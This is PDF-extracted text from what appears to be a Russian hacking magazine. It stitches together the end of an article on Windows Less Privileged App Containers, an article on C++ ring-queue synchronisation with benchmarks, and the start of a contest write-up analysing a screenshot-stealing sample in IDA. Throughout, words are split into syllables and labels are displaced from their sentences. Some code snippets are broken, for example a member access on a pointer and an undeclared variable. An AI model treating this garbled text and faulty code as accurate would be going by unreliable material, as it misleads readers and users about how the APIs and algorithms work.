   sid_attr = (SID_AND_ATTRIBUTES *)malloc(sizeof(SID_AND_ATTRIBUTES
));
   ZeroMemory(secap, sizeof(SECURITY_CAPABILITIES));
   ZeroMemory(sid_attr, sizeof(SID_AND_ATTRIBUTES));
   sid_attr.Sid = malloc(SECURITY_MAX_SID_SIZE);
   CreateWellKnownSid(capabili, NULL, sid_attr.Sid, &sid_size);
   sid_attr.Attributes = SE_GROUP_ENABLED;
   &secap‐>Capabilities = sid_attr;
   &secap‐>AppContainerSid = sid;

Единс твен ная  слож ность,  которую  ты  можешь  встре тить  в  этом  коде,  зак‐ 
люча ется в неиз вес тной еще фун кции  . Она соз дает SID
для  зна чений,  которые  были  пре доп ределе ны  заранее.  Самое  инте рес ное
для  нас  —  это  ее  пер вое  поле,  в  котором  через  перемен ную 
переда ется  перечис ление  типа  ,  где  на  момент
написа ния статьи содер жится 94 пун кта. Они наделя ют наш SID раз личны ми
пра вами.  Озна комить ся  с  пол ным  спис ком  мож но  в  MSDN  по  .
Для собс твен ных экспе римен тов мож но выб рать любой по вку су. :‐)

CreateWellKnownSid

capabili
WELL_KNOWN_SID_TYPE

ссыл ке

Итак,  все  основные  сис темные  струк туры  соз даны,  сам  кон тей нер  LPAC
соз дан,  оста лось  толь ко  запус тить  блок нот  в  кон тей нере.  Зададим  нуж ные
парамет ры вызова и наши заранее под готов ленные струк туры.

   PROCESS_INFORMATION pinfo = { 0 };
   BOOL ok = CreateProcessA("c:\\windows\\notepad.exe", 
                   NULL, 
                   NULL, 
                   NULL, 
                   FALSE, 
                   EXTENDED_STARTUPINFO_PRESENT, 
                   NULL, 
                   NULL,
                   (LPSTARTUPINFOA)&ex_start_info, 
                   &pinfo);

Ре зуль тат  работы  мож но  уви деть  в  прог рамме  ProcessExplorer:  notepad.exe
запус тится внут ри кон тей нера Less Privileged App Container.

Блок нот внут ри кон тей нера LPAC

ПРОВЕРКА НА ИЗОЛЯЦИЮ
Как  про верить,  работа ет  ли  про цесс  в  кон тей нере  LPAC  или  нет,  прог рам‐ 
мным  путем,  без  исполь зования  сто рон них  при ложе ний?  Дос таточ но
получить  хендл  инте ресу юще го  нас  про цес са.  Если  про цесс  сто рон ний,  то
нам поможет фун кция WinAPI  , а для сво его при годит ся 

.  Далее  откры ваем  токен  дос тупа  про цес са  (Access  token)
и смот рим его  , который будет равен 

 в том слу чае, если про цесс работа ет внут ри кон тей нера.

OpenProcess GetCur‐
rentProcess

TOKEN_INFORMATION_CLASS TokenIsAp‐
pContainer

BOOL InLPAC(HANDLE h_proc)
{
   HANDLE proc_token;
   DWORD len;
   BOOL lpac = 0;
   OpenProcessToken(h_proc, TOKEN_QUERY, &proc_token);
   if (!GetTokenInformation(proc_token, TokenIsAppContainer, &lpac, 
sizeof(lpac), &return_len))
       return false;
   return lpac;
}

INFO

Мар кер дос тупа (Access token) — объ ект Windows,
содер жащий  при виле гии  учет ной  записи  поль‐ 
зовате ля,  от  которо го  был  запущен  про цесс.
Помимо  это го,  Access  token  содер жит  информа‐ 
цию об огра ниче ниях дос тупа к потоку, здесь же
перечис лены SID и спис ки при виле гий про цес са.
Пос мотреть  струк туру  мар кера  дос тупа  мож но,
вве дя в WinDbg коман ду  .dt_TOKEN

На вход этой фун кции необ ходимо передать хендл инте ресу юще го нас про‐ 
цес са, и она вер нет  , если про цесс работа ет внут ри Less Privileged App
Container, и  , если про цесс выпол няет ся вне его.

TRUE
FALSE

ЗАКЛЮЧЕНИЕ
Мы  разоб рали  Less  Privileged  App  Container,  встро енную  реали зацию  изо‐ 
лиро ван ной сре ды в Windows. Что бы рас крыть тему, нам приш лось деталь но
рас смот реть  про цесс  запус ка  при ложе ний  в  Windows  средс тва ми  WinAPI

,  а  так же  узнать  о  нес коль ких  важ ных  сис темных  струк турах,
без  которых  ничего  бы  не  получи лось.  Я  наде юсь,  что  эта  статья  поможет
тебе в иссле дова нии сис темных механиз мов Windows.

CreateProcess

mailto:xtahi0nix@gmail.com
https://msdn.microsoft.com/ru-ru/library/windows/hardware/aa379650.aspx/css
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КОДИНГ

Уже мно го лет твой компь ютер уме ет выпол нять код любимо‐ 
го  ПО  парал лель но,  на  всех  сво их  ядрах  и  про цес сорах.
Да что там компь ютер — ско ро холодиль ники смо гут обсчи‐ 
тывать гас тро номи чес кие пред почте ния хозя ина в нес коль ко
потоков,  недаром  IoT  дви жет ся  по  пла нете  семимиль ными
шагами. И казалось бы, уже весь софт дав ным‐дав но дол жен
уметь  мак сималь но  эффектив но  наг ревать  атмосфе ру  вок‐ 
руг  тебя,  наг ружая  тран зисто ры  тво его  ПК  мно гопо точ‐ 
ностью, но все не так замеча тель но, как хотелось бы.

В мире мно гопо точ ности сущес тву ют две основные проб лемы: не все алго‐ 
рит мы  успешно  рас парал лелива ются,  а  то,  что  все‐таки  уда ется  запус тить
на нес коль ких  ядрах, работа ет далеко не  так быс тро,  как  хотелось бы. При‐ 
чина  неэф фектив ной  работы  муль тип роцес сорно го  кода  (если  не  говорить
про  недос таточ но  пря мые  руки  прог раммис тов)  кро ется  в 

. Да‐да. Это те самые мьютек сы, семафо ры и про чее, что мы так при‐ 
вык ли исполь зовать в нашем нехит ром ремес ле.

из лишних  зат- 

ратах  про цес сорно го  вре мени  на  син хро низа цию  дан ных  меж ду

ядра ми

Из это го сле дует прос той вывод — если есть воз можность избе жать раз‐ 
деления дан ных меж ду ядра ми, то надо этой воз можностью неп ремен но вос‐ 
поль зовать ся. Но что делать, если такой воз можнос ти решитель но нет?

СФЕРИЧЕСКАЯ ЗАДАЧА В ВАКУУМЕ
До пус тим,  нам  нуж но  написать  сер верное  при ложе ние,  которое  при нима ет
одно‐единс твен ное  под клю чение  по  UDP‐про токо лу  и  как‐то  нехит ро  обра‐ 
баты вает вхо дящие датаг раммы, нап ример счи тает ста тис тику по при шед шим
дан ным. Основная проб лема в  том,  что дан ные идут на очень боль ших ско‐ 
рос тях, нап ример 10 Гбит/c. Что бы спра вить ся с  такой наг рузкой, нам надо
про явить опре делен ную сооб разитель ность и не уда рить в грязь лицом.

Хо рошая  новость  сос тоит  в  том,  что  устрой ство,  на  котором  наше
ПО будет запущен но, при над лежит пол ностью нам, мож но гру зить про цес сор
на  100%,  и  ник то  нас  за  это  не  поруга ет,  глав ное —  обсчи тать  как  мож но
боль ше пакетов и мак сималь но не допус тить потерь. Раз мер дан ных в UDP‐
датаг рамме не может пре вышать 512 байт (к при меру).

АРХИТЕКТУРА ПРИЛОЖЕНИЯ
Из опи сания задачи сра зу ста новит ся понят но, что без всех ядер ПК нам тут
не обой тись. Пер вое, что при дет в голову более‐менее опыт ному раз работ‐ 
чику, — это выделить один поток на при ем вхо дящих датаг рамм и соз дать пул
потоков  для  их  обра бот ки.  Раз мер  пула  обыч но  дела ют  рав ным  количес тву
дос тупных ядер у машины.

Так  как  по  усло виям  задачи  нам  раз решено  мак сималь но  исполь зовать
ресур сы сис темы, мы, что бы упростить код (а сле дова тель но, и сни зить чис ло
потен циаль ных  оши бок)  и  умень шить  задер жку  перед обра бот кой  вхо дящих
дан ных,  будем  кру тить  бес конеч ный  цикл,  пыта ющий ся  вычитать  дан ные
из сокета на каж дой ите рации. Дру гими сло вами, ОС не будет усып лять наш
поток, если вхо дящих дан ных нет, и, соот ветс твен но, не будет  тра тить  так ты
про цес сора на его про буж дение.

Для  потоков  из  пула,  которые  обра баты вают UDP‐пакеты,  мы  реали зуем
оче редь  из  этих  самых  пакетов.  Как  толь ко  глав ный  поток  получа ет  датаг‐ 
рамму, он сра зу кла дет ее в оче редь и пыта ется про читать сле дующую пор‐ 
цию дан ных из сокета. Потоки пула при этом при дер жива ются той же модели
работы,  что  и  main  thread.  В  час тнос ти,  они  будут  кру тить  цикл  вычит ки
пакетов из оче реди, не засыпая на ожи дании, если оче редь пус та.

Те перь надо нем ного нап рячь мозг и подумать, что мы забыли учесть. Пос‐ 
коль ку  оче редь —  раз деля емая  струк тура  дан ных,  то  работа  с  ней  свя зана
с допол нитель ными рас ходами вре мени на син хро низа цию. Как мы выяс нили
нем ного  выше,  нам  надо  мак сималь но  избе гать  раз деля емых  дан ных,  пос‐ 
коль ку  это  чре вато  потен циаль ными  ошиб ками  и  воз никно вени ем  «узких
мест». К сожале нию, пол ностью отка зать ся от оче реди у нас не вый дет, но вот
сни зить зат раты на син хро низа цию впол не мож но.

Вмес то одной общей оче реди для всех мы можем реали зовать по отдель‐ 
ной  оче реди  для  каж дого  потока  из  пула  обра бот ки  дан ных.  В  этом  слу чае
веро ятность  того,  что  thread,  вычиты вающий  датаг раммы,  зас нет,  ожи дая,
пока завер шится опе рация записи в оче редь глав ным потоком, зна читель но
умень шает ся. Оче редь для записи может выбирать ся по прос тей шему алго‐ 
рит му, нап ример round‐robin.

Ко неч но, мы мог ли бы исполь зовать  readers‐write  lock,  что бы обес печить
одновре мен но  чте ние  из  оче реди  потокам  пула,  ког да  не  ведет ся  запись.
Но  проб лема  в  том,  что  датаг раммы  будут  сыпать ся  с  боль шой  час тотой
и основная кон курен ция за раз деля емый ресурс у обра бот чиков дан ных ока‐ 
жет ся не друг с дру гом, а с глав ным потоком.

ОЧЕРЕДЬ
Итак, как мы уже поняли, сер дце нашего мини‐ПО — струк тура дан ных, пре‐ 
дос тавля ющая  безопас ный  дос туп  к  пакетам  в  мно гопо точ ной  сре де.  Пос‐ 
коль ку софт может пол ностью ути лизи ровать ресур сы машины, на которой он
работа ет, мы можем сра зу  при  запус ке  алло циро вать мак сималь ный объ ем
дос тупной  нам  памяти  для  оче редей.  В  этом  слу чае  мы  избе жим  зат рат
на выделе ние новых кус ков памяти ядром ОС для нашего про цес са.

Но нам при дет ся решать, как работать даль ше, если оче редь запол нится.
ПО не может прос то так взять и упасть,  ког да дос тупная память закон чится,
поэто му у нас есть два вари анта. Пер вый — при добав лении новых эле мен тов
в оче редь  затирать  самые ста рые. В  этом слу чае мы получим  клас сичес кий
коль цевой буфер. Вто рой вари ант — воз вра щать ошиб ку при попыт ке добав‐ 
ления эле мен та в пол ную оче редь. Мы выберем пос ледний вари ант, так как в
этом слу чае прог рамма, а сле дова тель но, и поль зователь, смо жет понять, что
мы не справ ляем ся с наг рузкой.

Та ким обра зом,  вырисо выва ется  при мер ный  интерфейс  клас са,  который
будет  импле мен тировать  нашу  струк туру  дан ных.  Назовем  его  RingQueue.
Класс будет иметь как минимум два метода:   и  . При чем метод 
  будет  воз вра щать  булев  резуль тат,  где  true  обоз нача ет  успешное  добав‐ 
ление в оче редь, а false — оче редь пол на.

push pop push(
)

Те перь, ког да мы опре дели лись с общи ми прин ципами, по которым будет
работать наш класс, давай подума ем о реали зации.

Ре али зация на осно ве std::mutex
Пер вое,  что  при ходит  в  голову  для  импле мен тации  клас са  RingQueue,  —
это  исполь зовать  STL  vector  в  качес тве  хра нили ща  для  эле мен тов  оче реди
и STL mutex  для  защиты  дан ных  в мно гопо точ ной  сре де. Ниже  пред став лен
код клас са RingQueue на осно ве vector и mutex.

template <class T>
class RingQueue
{
 RingQueue(const RingQueue&) = delete;
 RingQueue(RingQueue&&) = delete;
 RingQueue& operator=(const RingQueue&) = delete;
 RingQueue& operator=(RingQueue&&) = delete;

public:
 explicit RingQueue(size_t size) :
   // Текущая реализация предоставляет доступ к n – 1 элементов.
   // Таким образом, чтобы быть прозрачными для клиентского кода, 
увеличим количество
   // хранимых элементов на 1.
   m_container(size + 1)
 {
   assert(size);
 }
 template <class ... Args>
 bool push(Args ... args)
 {
   std::unique_lock<std::mutex> lock(m_mutex);
   if (m_pushPos == m_popPos)
     return false;
   auto& item = m_container.at(m_pushPos);
   auto tmp = T(args ...);
   item = std::move(tmp);
   m_pushPos = incrementPosition(m_pushPos);
   return true;
 }
 using PopCallback = std::function<void(const T&)>;
 void pop(PopCallback& callback)
 {
   std::unique_lock<std::mutex> lock(m_mutex);
   const auto popPos = incrementPosition(m_popPos);
   if (m_pushPos == popPos)
     return;
   auto& item = m_container.at(popPos);
   callback(item);
   m_popPos = popPos;
 }

private:
 size_t incrementPosition(size_t pos) { return (pos != m_container.

size() ‐ 1) ? pos + 1 : 0; }
private:
 std::vector<T> m_container;
 std::mutex m_mutex;
 volatile size_t m_popPos = 0;
 volatile size_t m_pushPos = 1;

};

С пер вых строк вид но, что RingQueue явля ется шаб лонным клас сом. Это нап‐ 
рямую не отно сит ся к мно гопо точ ности, но таким обра зом мы дос тига ем нуж‐ 
ного  уров ня  уни вер саль нос ти.  Тип   — это  тип  эле мен тов,  хра нимых  в  оче‐ 
реди. В  нашей  реали зации  единс твен ное  тре бова ние  к   —  это  под дер жка
move‐семан тики.

T
T

Конс трук тор  RingQueue  в  качес тве  парамет ра  при нима ет  свой  раз мер
  и  соз дает  век тор  дли ной  .  Как  мы  говори ли  выше,  оче редь

дол жна занять мак сималь но воз можный объ ем опе ратив ной памяти. Еди ницу
к   мы при бав ляем для того, что бы обес печить кор рек тный дос туп к эле‐ 
мен там по прин ципам коль цевого буфера.

size size  +  1

size

Ме тод    —  шаб лонный  метод,  при чем  исполь зует ся  фича  variadic
templates  из  C++  11.  Это  так же  сде лано  для  уни вер саль нос ти,  что бы  иметь
воз можность  передать  про изволь ное  количес тво  аргу мен тов  в  вызов  конс‐ 
трук тора  .  Нап рямую  к  мно гопо точ ности  variadic  templates  не  отно сит ся.
Внут ри  метода  мы  сра зу  же  бло киру ем  mutex,  а  затем  пыта емся  положить
эле мент в оче редь. Для это го мы пер вым делом смот рим, не пол на ли оче‐ 
редь, срав нивая индекс встав ки (m_pushPos) с индексом извле чения (m_pop‐
Pos). Если они рав ны, то счи таем, что мест боль ше нет, и воз вра щаем false.
Если  же  оче редь  еще  может  при нять  новые  эле мен ты,  мы  получа ем  item
по индексу встав ки, ини циали зиру ем его новыми зна чени ями, а затем сдви‐ 
гаем на индекс встав ки на сле дующую позицию.

push()

T()

Осо бен ность метода   в том, что ссыл ку на извле каемый эле мент он
воз вра щает через обратный вызов, а не с помощью опе рато ра return. Метод

  может  гаран тировать  неиз менность  извле каемо го  эле мен та  толь ко
при  заб локиро ван ном mutex.  Выводя  ссыл ку  на  эле мент  за  бло киров ку,  мы
авто мати чес ки  получа ем  data  race.  Конеч но,  мы  бы  мог ли  отда вать  копию
объ екта,  но  это  лиш ние  зат раты  на  вызов  конс трук тора  копиро вания,
в котором может про исхо дить что угод но, в том чис ле какие‐то тяжелые опе‐ 
рации.  В  высоко наг ружен ных  при ложе ниях  такое  край не  не  рекомен дует ся.
С дру гой сто роны, надо пом нить, что пос коль ку обратный вызов осу щест вля‐ 
ется под бло киров кой,  то сущес тву ет шанс deadlock в слу чае, если код call‐
back недос таточ но щепети лен и каким‐то обра зом пыта ется пов торно обра‐ 
тить ся к RingQueue.

pop()

pop()

Но вер немся к опи санию про исхо дяще го в  . Пос ле бло киров ки mu‐
tex  мы  пер вым  делом  сдви гаем  индекс  извле чения  и  про веря ем,  есть  ли
что‐нибудь  в  оче реди.  Если  индекс  извле чения  равен  текуще му  индексу
встав ки, то счи таем, что оче редь пус та, в про тив ном слу чае дос таем из век‐ 
тора  нуж ный  эле мент  и  отда ем  ссыл ку  на  него  кли ент ско му  коду  через
callback.

pop()

Те перь давай еще раз взгля нем на получив ший ся код. Основная его проб‐ 
лема в бло киров ке. Пока мы что‐то кла дем в оче редь в одном потоке, дру гой
поток не может дос тать нуж ный ему эле мент для обра бот ки и прос то засыпа‐ 
ет. И наобо рот, ког да один поток вызыва ет метод  , дру гой прос таивает,
ожи дая,  ког да  завер шится  вызов  .  Конеч но,    —  очень  лег кий
метод и не занима ет мно го так тов про цес сора. Но, во‐пер вых, мы не можем
ска зать  того же про опе рацию извле чения эле мен та  (мы не зна ем, что про‐ 
исхо дит при вызове callback), а во‐вто рых, при высоких наг рузках веро ятность
того,  что  потоки  будут  ждать  друг  дру га,  зна читель но  уве личи вает ся,  нес‐ 
мотря на потен циаль ную лег ковес ность push/pop‐опе раций.

pop()
push() push()

Оп тимизи рован ная реали зация на осно ве std::mutex
Что бы избе жать опи сан ной проб лемы,  вос поль зуем ся методом 
клас са std::mutex. Эта фун кция пыта ется заб локиро вать мьютекс, но в слу чае,
если это успел сде лать какой‐то дру гой поток, она воз вра щает false. Давай те
взгля нем на модифи циро ван ный код push/pop‐методов.

try_lock()

template <class ... Args>
bool push(Args ... args)
{
 if (!m_mutex.try_lock())
   return false;
 std::lock_guard<std::mutex> lock(m_mutex, std::adopt_lock);
 // ...  

}
using PopCallback = std::function<void(const T&)>;
void pop(PopCallback& callback)
{
 if (!m_mutex.try_lock())
   return;
 std::lock_guard<std::mutex> lock(m_mutex, std::adopt_lock);
 // ...

}

Как мы видим, обе фун кции чле на клас са RingQueue немед ленно завер шают‐ 
ся, если один из потоков зав ладел мьютек сом ранее. При этом метод 
воз вра щает  зна чение  false,  и  кли ент ский  код  может  поп робовать  вста вить
эле мент чуть поз же или вооб ще дроп нуть его.

push()

Та ким нехит рым пре обра зова нием мы получи ли lock free струк туру дан ных.
Но  у  это го  решения  есть  один  огромный  недос таток.  Даже  если  оче редь
еще может при нять новые эле мен ты, сущес тву ет веро ятность того, что встав‐ 
ка  завер шится  неуда чей.  Это  силь но  сни жает  общую  цен ность  дан ного
решения,  так  как  мы  не  будем  обра баты вать  зна читель ное  количес тво  вхо‐ 
дящих пакетов.

Ре али зация на осно ве std::atomic
На вер няка мно гие раз работ чики, ког да‐либо стал кивав шиеся с мно гопо точ‐ 
ным  прог рамми рова нием,  работа ли  с 
или хотя бы слы шали о них. С их помощью мож но сде лать так, что бы все CPU
в  сис теме  уви дели  изме нения  некото рой  ячей ки  памяти  одновре мен но.
В C++ для это го есть спе циаль ный шаб лонный класс std::atomic. Давай поп‐ 
робу ем  перепи сать  наш  RingQueue  класс  с  исполь зовани ем  ато мар ных
перемен ных.

ато мар ными  опе раци ями

template <class ... Args>
bool push(Args ... args)
{
 const auto pushPos = m_pushPos.load();
 // Атомарное сравнение не нужно в данном случае
 if (m_popPos.load() == pushPos)
   return false;
 auto& item = m_container.at(pushPos);
 auto tmp = T(args ...);
 item = std::move(tmp);
 if (pushPos != m_container.size() ‐ 1)
   m_pushPos.fetch_add(1);
 else
   m_pushPos.store(0);
 return true;

}
using PopCallback = std::function<void(const T&)>;
void pop(PopCallback& callback)
{
 auto popPos = m_popPos.load();
 popPos = (popPos != m_container.size() ‐ 1) ? popPos + 1 : 0;
 // Атомарное сравнение не нужно в данном случае
 if (m_pushPos.load() == popPos)
   return;
 auto& item = m_container.at(popPos);
 callback(item);
 m_popPos.store(popPos);

}
std::atomic<size_t> m_popPos = {0};
std::atomic<size_t> m_pushPos = {1};

Как  вид но  из  кода,  мы  объ яви ли  m_popPos  и  m_pushPos  ато мар ными
перемен ными.  Метод    типа  atomic  поз воля ет  получить  текущее  зна‐ 
чение  перемен ной,  а    —  син хрон но  записать  новое  зна чение,
которое  ста нет  немед ленно  дос тупно  всем  CPU.  Кро ме  того,  фун кция

 ато мар но уве личи вает зна чение перемен ной.

load()
store()

fetch_add()
На  пер вый  взгляд  может  показать ся,  что  atomic‐перемен ные  дол жны

работать доволь но быс тро, но это не сов сем так. Для син хро низа ции изме‐ 
нений в ячей ке памяти ядра про цес соров в общем слу чае выпол няют доволь‐ 
но мно го слож ных опе раций. Гру бо говоря, каж дый раз, ког да мы изме няем
зна чение  ато мар ной  перемен ной,  про цес сор  тра тит  еще  от  нес коль ких
десят ков до нес коль ких сотен так тов для того, что бы син хро низи ровать это с
дру гими CPU сис темы. При час той переза писи таких перемен ных мы получа‐ 
ем  серь езную  про сад ку  про изво дитель нос ти.  Конеч но,  эти  потери  силь но
зависят  от  кон крет ной  архи тек туры  про цес сора,  но  в  той  или  иной  сте пени
они есть всег да.

Оп тимизи рован ная реали зация на осно ве std::atomic
К  счастью,  std::atomic  под держи вает  нес коль ко  видов  семан тики  упо рядо‐ 
чива ния  дос тупа.  По  умол чанию  исполь зует ся  std::memory_order_seq_cst  —
sequentially‐consistent,  или  пос ледова тель но  сог ласован ный  дос туп.
Это самая стро гая и понят ная для раз работ чика семан тика. При ее исполь‐ 
зовании работа с ато мар ными перемен ными в нес коль ких потоках выг лядит
как одно поточ ный код. Дру гими сло вами, все потоки выпол няемо го про цес са
видят  изме нения  ячей ки  памяти  в  оди нако вом  поряд ке.  Обратная  сто рона
этой прос тоты — высокие нак ладные рас ходы, о которых говори лось выше.

Для уве личе ния про изво дитель нос ти мож но исполь зовать менее стро гие
семан тики, в час тнос ти семан тику зах вата‐осво бож дения (memory_order_ac‐
quire  и  memory_order_release)  и  семан тику  ослаблен ного  упо рядо чива ния
(memory_order_relaxed).  К  сожале нию,  в  рам ках  дан ной  статьи  у  нас
не получит ся разоб рать ся с тем, что это такое и как это работа ет. Это доволь‐ 
но слож ные кон цепции, которые тре буют раз верну тых объ ясне ний с деталь‐ 
ными  при мера ми.  Неп равиль ный  выбор  семан тики  упо рядо чива ния  дос тупа
может  сде лать  поведе ние  прог раммы  неп ред ска зуемым.  Но  к  счастью,
на  рабочий  код,  который  исполь зует  прод винутое  упо рядо чива ние, мы  пос‐ 
мотреть можем.

template <class ... Args>
bool push(Args ... args)
{
 auto pushPos = m_pushPos.load(std::memory_order_relaxed);
 if (m_popPos.load(std::memory_order_acquire) == pushPos)
   return false;
 auto& item = m_container.at(pushPos);
 auto tmp = T(args ...);
 item = std::move(tmp);
 pushPos = incrementPosition(pushPos);
 m_pushPos.store(pushPos, std::memory_order_release);
 return true;

}
using PopCallback = std::function<void(const T&)>;
void pop(PopCallback& callback)
{
 auto popPos = m_popPos.load(std::memory_order_relaxed);
 popPos = incrementPosition(popPos);
 if (m_pushPos.load(std::memory_order_acquire) == popPos)
   return;
 auto& item = m_container.at(popPos);
 callback(item);
 m_popPos.store(popPos, std::memory_order_release);

}

ТЕСТИРОВАНИЕ ПРОИЗВОДИТЕЛЬНОСТИ
Те перь у нас есть целых четыре вари анта реали зации клас са RingQueue, каж‐ 
дый  сле дующий  луч ше  и  быс трее  пре дыду щего.  Нас тало  вре мя  про верить,
нас коль ко  хорошо  работа ют  наши  реали зации.  Для  это го  мы  напишем
неболь шой тест на google benchmark фрей мвор ке. Код тес та мож но уви деть
ниже.

class Item
{
public:
 uint64_t m_x = 0;

};
RingQueue<Item> queue(1000);
static void BM_PushPop(benchmark::State& state) {
 RingQueue<Item>::PopCallback callback([](const Item& item){
   volatile auto x = item.m_x;
   x += 1;
 });
 while (state.KeepRunning()) {
   if (state.thread_index == 0) {
     queue.push(42);
   } else {
     queue.pop(callback);
   }
 }

}
BENCHMARK(BM_PushPop)‐>Threads(2);

Бен чмарк  соз дает  оче редь  раз мером  в  1000  эле мен тов,  а  затем  запус кает
два потока, один из которых сох раня ет эле мен ты в оче редь, а дру гой извле‐ 
кает из нее. Цель — изме рить сред нее вре мя встав ки извле чения эле мен та
из  оче реди.  Тест  доволь но  син тетичес кий,  но  поз волит  оце нить  про изво‐ 
дитель ность каж дого из решений. Для удобс тва вос при ятия резуль таты тес‐ 
тов соб раны в таб лицу.

Тип решения Вре мя, наносе кун ды

mutex 245

mutex::try_lock 32

atomic sequentially‐consistent 26

atomic aquire‐release and relaxed 4

Как  мы  видим,  каж дое  из  вве ден ных  нами  усо вер шенс тво ваний  повыша ет
про изво дитель ность  встав ки‐извле чения  в  разы. Самый при митив ный  вари‐ 
ант  с  исполь зовани ем  std::mutex  выпол няет  опе рации  push‐pop
за  245  наносе кунд,  а  вот  исполь зование    улуч шает  быс тро дей‐ 
ствие более чем в семь раз. Оно и неуди витель но, ведь в пер вом вари анте
RingQueue  при  высокой  кон курен ции  за  раз деля емый  ресурс  наши  потоки
зна читель ную часть вре мени прос то спят.

try_lock()

Пе реход  от  mutex::try_lock  вари анта  к  std::atomic  с  семан тикой  упо рядо‐ 
чива ния  по  умол чанию  дает  при рост  про изво дитель нос ти  «все го»  на  18%,
но при этом мы реша ем проб лему, при которой зна читель ная часть вызовов

 завер шалась бы неудач но.push()
Пе реход  к  тон кой  нас трой ке  наших  алго рит мов  дос тупа  к  RingQueue

с помощью семан тик зах вата‐осво бож дения и ослаблен ного упо рядо чива ния
дал нам, не побо юсь это го сло ва, фан тасти чес кий резуль тат в 4 наносе кун ды.
Это более чем в 60 раз быс трее пер воначаль ного вари анта.

Ко неч но,  не  сто ит  рас смат ривать  эти  чис ла  как  абсо лют ные,  они  пред‐ 
став ляют  цен ность  в  срав нении  друг  с  дру гом.  Резуль тат  будет  зависеть
от железа и  уров ня  заг рузки ресур сов сис темы. Для  тес тов исполь зовалась
сле дующая  кон фигура ция:  Ubuntu  16.04,  Intel  Core  i7  4790k,  16  Гбайт
DDR3 1600 МГц. Кро ме того, наш бен чмарк не учи тыва ет количес тво неудач‐ 
ных  попыток  добав ления  в  оче редь.  Этот  параметр  тоже  важен  для  оцен ки
быс тро дей ствия клас са RingQueue.

На пос ледок  сто ит  напом нить,  что  как  задача,  так  и  тест  про изво дитель‐ 
нос ти —  это  сфе ричес кий  конь  в  ваку уме.  В  реаль ных  про ектах  мы  име ем
гораз до  боль ше  усло вий,  которые  надо  учи тывать.  Но  на  текущем  при мере
мы хорошо прос ледили, нас коль ко мож но опти мизи ровать работу,  казалось
бы,  сов сем  незамыс ловатой  ути литы,  все го  лишь  нем ного  пораз мышляв
над тем, как устро ено сов ремен ное мно гопо точ ное прог рамми рова ние.

mailto:deeonis@gmail.com
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КОДИНГ

Нас тало вре мя под вести ито ги мар тов ских 
  и  прос лавить  тех  пар ней,  которые  их  с  блес ком

решили.  Спа сибо  победи телю  —  его  решение  ока залось
нас толь ко под робным, что потянет на целую статью по кря‐ 
кин гу. :)

за дач на собесе‐ 
дова ниях

НАШИ ПРИЗЕРЫ

Вот она, золотая пятер ка чем пионов!
Глав ный  победи тель,  ,  получил  обе щан ную  сти пен дию

на сум му в 100 тысяч и написал офи ген ное решение задач для нашего жур‐ 
нала, про иллюс три ровав его двад цатью девятью лис тинга ми. Это прос то пир
духа,  огромное  удо воль ствие для  всех,  кто инте ресу ется  взло мом и форен‐ 
зикой!

Егор Василен ко

Сер тифика ты на мень шие сум мы получи ли:
1. Ев гений Алек сан дро вич Аку лов
2.    (неп лохое ФИО, сра зу вид но нас тояще го ано нима,
рес пект)
eakj@protonmail.ch

3.    (меж ду  про чим,  сем надцать  лет  пар ню,
а даст при курить некото рым дядень кам от хакин га ;))
Аца маз  Марато вич  Гацо ев

4. Олег Евгень евич Кли мов

РЕШЕНИЕ ОТ ПОБЕДИТЕЛЯ: ЗАДАНИЕ 1

Ус ловие
На  рабочем  компь юте ре  сек ретно го  аген та  была  най дена  подоз ритель ная
прог рамма,  которая  кра дет  дан ные. Агент  не рас терял ся  и  снял дамп прог‐ 
раммы непос редс твен но перед отправ кой зашиф рован ных дан ных.

Тре бует ся: най ти флаг.

Ре шение
Про ведем ста тичес кий ана лиз дам па с помощью дизас сем бле ра IDA.

Об рати вни мание, что файл был соб ран с отла доч ной информа цией. Наз‐ 
вание pdb‐фай ла уже в некото ром смыс ле слу жит под сказ кой.

Фор мат  EntryPoint’а  сви детель ству ет  о  том,  что  исполня емый файл  написан
на язы ке C++.

Ана логич ный  вывод  мож но  сде лать  при  обна руже нии  фун кции  ,
с которой и сле дует начинать ана лиз. Фун кция   выг лядит сле дующим
обра зом.

WinMain
WinMain

В самом начале сво ей работы иссле дуемый про цесс соз дает и отоб ража ет
окно  при ложе ния.  Парамет ры  окна  явля ются  аргу мен тами  фун кции 

.
Cre‐

ateWindowExW

Бо лее под робно о сооб щени ях и оче редях сооб щений мож но  узнать  .
Важ нее все го то, что фун кция обратно го вызова   сра баты вает каж‐ 
дый раз при вызове фун кции  . Таким обра зом, ана лиз дам‐ 
па сво дит ся к ана лизу фун кции  .

здесь
TimerFunc

DispatchMessageW
TimerFunc

Пе рехо дим  в  фун кцию  .  Она  опи сыва ется  сле дующим  псев‐ 
докодом.

TimerFunc

Вот что здесь про исхо дит:
про цесс получа ет путь к фай лу из дирек тории  ;• %TEMP%

по луча ет парамет ры экра на: ширину и высоту;•
пос ледова тель но выпол няет фун кции, которые я наз вал  , 

  и    (фун кции 
и    исполь зуют ся  для  ини циали зации  Windows  GDI+
и окон чания работы с Windows GDI+ соот ветс твен но).

• Get_Screen En

crypt_Screen Send_Screen GdiplusStartup

GdiplusShutdown

Get_Screen
В фун кции Get_Screen иссле дуемый про цесс дела ет скрин шот экра на и сох‐ 
раня ет  его  в файл  ,  который дол жен рас полагать ся  в  дирек‐ 
тории  .

fIsdWlasd.bin
%TEMP%

Encrypt_Screen
Пос ле нез начитель ных пра вок фун кция   выг лядит так.Encrypt_Screen

Что бы  понять,  что  здесь  осу щест вля ется шиф рование,  зай дем  в 
.  В  ней  труд но  не  заметить  вызовы  таких  фун кций,  как 
,  , и дру гих фун кций из EVP, которые обес‐ 

печива ют интерфейс высоко го уров ня для фун кций из биб лиоте ки OpenSSL.

Encrypt_‐
sub_3B1F50 EVP_CI‐
PHER_CTX_new EVP_EncryptInit_ex

Для  того  что бы  понять,  какой  алго ритм  исполь зует ся  при  шиф ровании,
идем сюда.

В  фун кции    видим  выбор  парамет ров
блоч ного шиф ра.

Set_Cipher_Parameters_sub_CE1260

А вызыва ется дан ная фун кция сле дующим обра зом.

Ес ли  сопос тавить  переда ваемые  аргу мен ты  со  зна чени ями  внут ри 
,  получит ся  струк тура,  где 

,   и  .

Set_Ci‐
pher_Parameters_sub_CE1260 Name  =  0  ("AES‐
") Mode = 1 ("CBC") KeyLength = 1 ("128‐")

Де лаем  вывод,  что  скрин шот  экра на  шиф рует ся  алго рит мом  AES‐128‐CBC
с помощью OpenSSL. Ключ шиф рования берет ся из ресур сов.

Его  мож но  без  тру да  получить  с  помощью  прог раммы  Resource  Hacker
